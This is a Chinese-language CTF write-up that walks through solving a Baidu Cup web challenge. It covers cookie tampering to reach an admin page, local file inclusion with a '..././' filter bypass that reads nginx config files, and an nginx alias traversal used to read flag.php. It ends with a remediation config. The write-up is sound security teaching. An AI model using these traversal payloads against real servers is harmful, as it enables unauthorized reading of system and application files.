今天做百度杯的時候發現一個題很有意思。
點進題目,發現了一個js重定向到login.php,抓包發現請求的header中cookie=0,做過這種類似的題目,o==false,在請求頭里面將cookie=1,結果就進去了后台,(login.php中沒有發現什么信息),進入后台,
點開Manage,如上圖,網址的構造是module=index$name=php 推測是文件包含,我將index改成flag,說明flag在flag.php中我們所要做的就是提取出flag.php中的內容

思路1 用php://filter文件流讀取,發現失敗了,可能就需要換一個思路
思路2 先判斷有沒有過濾,fuzz一下
http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/manages/admin.php?module=in../dex&name=php訪問成功
http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/manages/admin.php?module=in./dex&name=php訪問失敗
說明../被過濾了,用..././繞過,讀取/etc/nginx/nginx.conf配置文件,

其中發現了一點可疑的地方,百度一下,發現有個nginx目錄遍歷下載漏洞

訪問這個文件 http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/manages/admin.php?module=..././..././..././etc/nginx/sites-enabled/default&name=

這里 movie后面有一個 /
當你瀏覽http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/online-movies,正常情況應該遍歷online-movies/這個目錄,但是如果訪問http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/online-movies../, 這個的話就會遍歷online-movies整個目錄了

最后讀取flag
http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/online-movies../var/www/html/flag.php
就不貼出來flag了
漏洞前提條件是必須是子目錄、開啟了autoindex,並且alias指定目錄的時候加了"/",才能利用成功
安全建議:
location /online-movies {
alias /movie;
autoindex on;
}
location /online-movies/ { alias /movie/; autoindex on; }
參考:http://luoq.net/ais/1191/
